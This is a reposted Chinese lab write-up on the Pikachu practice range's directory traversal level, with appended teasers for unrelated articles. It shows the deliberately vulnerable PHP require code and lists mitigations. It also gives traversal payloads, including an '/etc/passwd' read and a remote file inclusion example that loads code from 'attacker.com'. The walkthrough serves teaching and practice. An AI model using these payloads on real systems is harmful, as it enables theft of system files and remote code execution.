pikachu靶場通關筆記38 目錄遍歷(路徑遍歷)

目錄

一、目錄遍歷

二、源碼分析

三、目錄遍歷與文件包含

四、實戰滲透

1、進入靶場

2、目錄遍歷

(1)訪問ace.min.css

(2)訪問fileinclude.php


本系列為《pikachu靶場通關筆記》滲透實戰,本文通過對目錄遍歷源碼的代碼審計找到安全風險的真實原因,講解目錄遍歷關卡原理并進行滲透實踐。如下圖所示,pikcahu靶場在目錄遍歷關卡介紹的過程中講解目錄遍歷風險的產生原因,如果后臺沒有對前端傳進來的值進行嚴格的安全考慮,則攻擊者可能會通過“../”這樣的手段讓后臺打開或者執行一些其他的文件。 從而導致后臺服務器上其他目錄的文件結果被遍歷出來,形成目錄遍歷安全風險。

一、目錄遍歷

目錄遍歷,也被稱為路徑遍歷,是一種常見的安全風險,攻擊者利用目錄遍歷安全風險可以訪問服務器上本應受限制訪問的文件和目錄。

類別詳情
定義目錄遍歷指應用程序在處理用戶輸入的文件路徑或文件名時存在缺陷,使攻擊者能夠繞過安全限制,訪問服務器上本不應被訪問的文件和目錄
原理應用程序未對用戶輸入的路徑信息進行有效驗證與過濾,攻擊者利用特殊構造的路徑(如包含 “../” 等回溯上級目錄的字符),突破預設訪問范圍,定位到目標文件所在目錄
常見攻擊方式1. 在 URL 參數中構造惡意路徑,如將正常的 “/download.php?file=image.jpg” 改為 “/download.php?file=../../../../etc/passwd”;
2. 在表單輸入框中提交惡意路徑,若應用程序存在文件上傳功能,且對上傳路徑處理不當,攻擊者可通過輸入特殊路徑來訪問其他目錄
危害1.?敏感信息泄露:獲取服務器上的敏感文件內容,如數據庫配置文件、用戶登錄憑證等,為進一步攻擊提供便利;
2.?文件系統破壞:篡改、刪除重要系統文件或業務數據文件,影響系統正常運行,甚至導致系統崩潰;
3.?惡意代碼執行:訪問可執行文件并執行惡意代碼,獲取服務器控制權,進一步擴大攻擊范圍
防范措施1.?輸入驗證過濾:嚴格檢查用戶輸入的路徑和文件名,禁止包含 “../” 等非法字符,同時對文件類型、路徑長度等進行限制;
2.?使用白名單機制:明確指定允許訪問的文件和目錄范圍,僅接受白名單內的路徑請求;
3.?權限管理:為應用程序設置最小權限,限制其對文件系統的訪問級別,避免權限濫用;
4.?編碼轉換:對用戶輸入的路徑進行適當的編碼轉換,如 URL 編碼,防止特殊字符被惡意利用;
5.?更新系統軟件:及時更新操作系統、Web 服務器軟件和應用程序,修復已知的目錄遍歷安全風險

二、源碼分析

進入pikachu靶場的目錄遍歷關卡,完整的URL地址如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php

打開代碼dir_list.php并進行源碼分析,代碼實現了一個簡單的文件包含功能。首先初始化一個空字符串變量$html 。接著檢查是否通過 GET 方式傳遞了title參數,若存在則將該參數值賦給$filename。然后直接使用require語句包含 “soup/” 目錄下由$filename指定的文件。但由于未對$filename參數進行任何驗證與過濾,直接使用用戶可控的輸入進行文件包含操作,存在嚴重的目錄遍歷安全風險,攻擊者可通過構造惡意參數值,訪問服務器其他目錄的敏感文件甚至執行惡意代碼,威脅系統安全 。

<?php
// 初始化一個空字符串變量 $html,可能用于后續存儲要輸出的 HTML 內容,但在這段代碼中未實際使用
$html = '';// 檢查是否通過 GET 方式傳遞了名為 'title' 的參數
if (isset($_GET['title'])) {// 如果存在 'title' 參數,將其值賦給變量 $filename$filename = $_GET['title'];// 這里直接把傳進來的內容進行了 require(),造成問題// require 是 PHP 中的一個語句,用于包含并執行指定的文件// 這里嘗試包含 "soup/" 目錄下由 $filename 指定的文件require "soup/$filename";// 這行代碼被注釋掉了,原本的作用可能是輸出 $html 變量的內容// echo $html;
}
?>

同時在這段代碼里,程序直接使用 require 語句包含了由用戶通過 GET 請求傳遞的 title 參數所指定的文件。代碼中沒有對 $filename 進行任何驗證和過濾,攻擊者能夠通過構造特殊的文件名,達成任意文件包含的目的。?由于本關卡的題目為目錄遍歷(路徑遍歷),故而本文主要針對目錄遍歷進行滲透。

三、目錄遍歷與文件包含

由于本關卡源碼涉及到目錄遍歷和文件包含,用表格形式對兩者的區別,具體如下所示。

類別文件包含目錄遍歷
原理程序包含文件時,對用戶輸入的文件路徑或名稱驗證過濾不足,使攻擊者能讓程序包含惡意或非預期文件,以執行惡意代碼或獲取信息應用處理用戶輸入的文件路徑時,未有效限制訪問范圍,攻擊者利用特殊路徑構造(如 “../”)突破目錄限制,訪問其他目錄文件
攻擊方式修改文件包含函數參數,傳入本地或遠程惡意文件路徑,使程序包含并執行惡意文件。如include($_GET['file']),攻擊者構造?file=http://attacker.com/malicious.php構造含 “../” 等回溯目錄字符的路徑,逐步訪問目標文件。如http://example.com/script.php?file=../../etc/passwd
危害后果嚴重時可致服務器被植入后門,攻擊者完全控制服務器,能執行任意命令、竊取信息、篡改內容等主要造成敏感信息泄露,如獲取配置文件、用戶信息,也可能導致文件被非法讀取、修改或刪除,但一般不會直接使服務器被完全控制
本質側重于對文件的不當包含,實現惡意代碼執行側重于突破目錄限制,實現特定文件的非法訪問
常見場景存在文件包含函數且對參數處理不當的代碼中,如 PHP 的includerequire等函數使用處處理用戶輸入文件路徑的功能模塊,如文件下載、文件查看等功能中

四、實戰滲透

1、進入靶場

?進入pikachu靶場的目錄遍歷關卡,完整URL以及頁面如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php

點擊鏈接第一個后,可以看到url=jarheads.php中包含文件名jarheads.php,進入的頁面包含了jarheads.php文件的內容,具體如下所示

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php

點擊第二個鏈接時,,可以看到url=truman.php,進入了包含truman.php內容的頁面。?

2、目錄遍歷

(1)訪問ace.min.css

嘗試一下修改title的值,title=../../../assets/css/ace.min.css,完整URL如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../assets/css/ace.min.css

訪問該鏈接進入包含ace.min.css的頁面,滲透成功,?

(2)訪問fileinclude.php

嘗試一下修改title的值,title=../../fileinclude/fileinclude.php,完整URL如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../fileinclude/fileinclude.php

訪問該鏈接進入到包含“文件包含描述“的頁面,滲透成功,如下圖所示。?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/84446.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/84446.shtml
英文地址,請注明出處:http://en.pswp.cn/web/84446.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

現代C++:std::string全方位碾壓C字符串

在 C 中引入的 std::string 是對 C 語言中 char* 和 const char* 的一種現代化封裝和增強。它不僅解決了 C 字符串的許多缺陷&#xff08;如安全性、內存管理、易用性等&#xff09;&#xff0c;還提供了豐富的 API 來簡化字符串操作。本文將從多個維度詳細對比 std::string 與…

20250619周四:Atlassian

今天主要把conference上的A xxx的所有資料大體看了一遍&#xff0c;花了兩個多小時。 公司的這個conference系統&#xff0c;共實就是一個大型的可多人在線編輯的文件系統。差不多所有的資料都共享在上面。這對于多人參與的項目管理&#xff0c;還是相當方便的。 Atlassian最特…

通過CDH安裝Spark的詳細指南

通過CDH安裝Spark的詳細指南 簡介 Cloudera Distribution of Hadoop (CDH) 是一個企業級的大數據平臺,它集成了多個開源組件,包括Hadoop、Spark、Hive等。本文將詳細介紹如何通過CDH安裝和配置Spark。 前提條件 在開始安裝之前,請確保滿足以下條件: 已安裝CDH集群具有管…

GitLab CVE-2025-5121 安全漏洞解決方案

本分分享極狐GitLab 補丁版本 18.0.2, 17.11.4, 17.10.8 的詳細內容。這幾個版本包含重要的缺陷和安全修復代碼&#xff0c;我們強烈建議所有私有化部署用戶應該立即升級到上述的某一個版本。對于極狐GitLab SaaS&#xff0c;技術團隊已經進行了升級&#xff0c;無需用戶采取任…

【八股消消樂】Elasticsearch優化—檢索Labubu

&#x1f60a;你好&#xff0c;我是小航&#xff0c;一個正在變禿、變強的文藝傾年。 &#x1f514;本專欄《八股消消樂》旨在記錄個人所背的八股文&#xff0c;包括Java/Go開發、Vue開發、系統架構、大模型開發、具身智能、機器學習、深度學習、力扣算法等相關知識點&#xff…

如何實現基于場景的接口自動化測試用例?

&#x1f345; 點擊文末小卡片&#xff0c;免費獲取軟件測試全套資料&#xff0c;資料在手&#xff0c;漲薪更快 自動化本身是為了提高工作效率&#xff0c;不論選擇何種框架&#xff0c;何種開發語言&#xff0c;我們最終想實現的效果&#xff0c;就是讓大家用最少的代碼&…

FreeRTOS 任務管理學習筆記

FreeRTOS 任務管理學習筆記 引言 本文檔旨在通過在STM32微控制器上使用FreeRTOS來理解和實現任務管理。實驗的重點是創建和管理多個任務、處理任務同步以及通過簡單的硬件接口控制任務狀態。 實驗概述 實驗涉及創建三個任務&#xff1a; LED1_Task: 每300毫秒切換一次LED。…

c++set和pair的使用

set是C中的一種關聯容器&#xff0c;具有以下特點&#xff1a; 存儲唯一元素&#xff08;不允許重復&#xff09; 元素自動排序&#xff08;默認升序&#xff09; 基于紅黑樹實現&#xff08;平衡二叉搜索樹&#xff09; 插入、刪除和查找的時間復雜度為O(log n) 前言 在C…

終端命令行執行具體的方法名測試用例

你可以使用如下命令單獨執行 test_mutation_login_by_email 方法:python3 manage.py test apps.login.test_client.LoginTestCase.test_mutation_login_by_email 注意事項: 路徑 apps.login.test_client 要與你項目實際的 Python 包路徑一致(即 test_client.py 文件所在的包…

20250620在Ubuntu20.04.6下編譯KickPi的K7的Android14系統

【處理SDK】 rootrootrootroot-X99-Turbo:~/Android14$ tar zxvf rk3576-android14.0-20250217.tar.gz rootrootrootroot-X99-Turbo:~/Android14$ ll rootrootrootroot-X99-Turbo:~/Android14$ rm rk3576-android14.0-20250217.tar.gz rootrootrootroot-X99-Turbo:~/Android1…

碳中和時代的家電革命,從華為智選IAM看科技企業的環保擔當

在"雙碳"戰略與品質消費浪潮的雙重加持下&#xff0c;家電產業正經歷一場前所未有的綠色革命。華為智選與空凈十大品牌IAM的深度協同&#xff0c;不僅構建了智能家電領域的技術新高地&#xff0c;更通過系統性創新持續拓展著行業可持續發展的想象空間。從凈水科技的突…

(C語言)Map數組的實現(數據結構)(鏈表)(指針)

源代碼&#xff1a; #include <stdio.h> #include <stdlib.h> #include <string.h>// 鍵值對節點 typedef struct Node {char* key;int value;struct Node* next; } Node;// Map結構 typedef struct {Node* buckets[100]; // 固定大小的哈希桶&#xff08;…

Logback示例解析

<configuration><!-- 環境變量 --><springProperty scope"context" name"app.name" source"spring.application.name" defaultValue"application"/><!-- 日志存放路徑 --><property name"log.path&qu…

elementui響應式數據類型變更情況

背景。vue2。data中定義的響應數據類型是[]數組。應用在el-select中&#xff08;非multiple情況&#xff09;。當發生響應數據有變更渲染視圖時&#xff0c;發現定義的數組轉換成了字符串。 本身不是問題。但因為疏忽引發了watch監聽formData數據時產生了產生了多次監聽事件。…

人機融合智能 | 人智交互語境下的設計新模態

本章旨在探討技術與設計領域在人智交互語境下的關系及其影響,討論通過傳統設計對人智交互的優化方法。通過回顧大數據和發展趨勢,以 AI技術作為重要的技術推力,我們認為 AI技術將會在未來成為設計領域不可缺少的重要環節,并能夠幫助設計師更加高效、準確地開展設計工作。本章著…

C++設計模式分類(GOF-23種設計模式)

文章目錄 GOF-23 設計模式分類一、從目的分類1. 創建型&#xff08;Creational&#xff09;模式2. 結構型&#xff08;Structural&#xff09;模式3. 行為型&#xff08;Behavioral&#xff09;模式 二、從范圍分類1. 類模式&#xff08;Class Pattern&#xff09;2. 對象模式&…

AbMole| LY294002(M1925)

LY294002是一種廣譜的PI3K抑制劑&#xff0c;對PI3Kα/δ/β的IC50分別為0.5 μM/0.57 μM/0.97 μM。LY294002 也可以抑制 CK2 的活性&#xff0c;IC50 為 98 nM。LY294002 還是一種競爭性 DNA-PK 抑制劑&#xff0c;可逆結合 DNA-PK 的激酶結構域&#xff0c;IC50 為 1.4 μM…

第1章,[標簽 Win32] :第一個 WIn32 程序,MessageBox 函數

專欄導航 上一篇&#xff1a;第1章&#xff0c;[標簽 Win32] &#xff1a;第一個 WIn32 程序&#xff0c;程序入口 回到目錄 下一篇&#xff1a;無 本節前言 本節的學習&#xff0c;需要前兩節的內容作為先修知識。如果還沒有去看本專欄的前兩節&#xff0c;請你先去學習它…

求助帖:學Java開發方向還是網絡安全方向前景好

最近網絡安全被一個培訓機構吹得天花亂墜&#xff0c;雖然他家既有網安又有java和UI&#xff0c;我也是學軟件工程的&#xff08;山西某211&#xff0c;此機構是每年和我們學校合作的校企公司&#xff09;&#xff0c;但那里的老師仍然大力推薦我學網絡安全&#xff08;滲透、代…

OpenCV 圖像仿射變換之旋轉

一、知識點 1、void warpAffine(InputArray src, OutputArray dst, InputArray M, Size dsize, int flags INTER_LINEAR, int borderMode BORDER_CONSTANT, …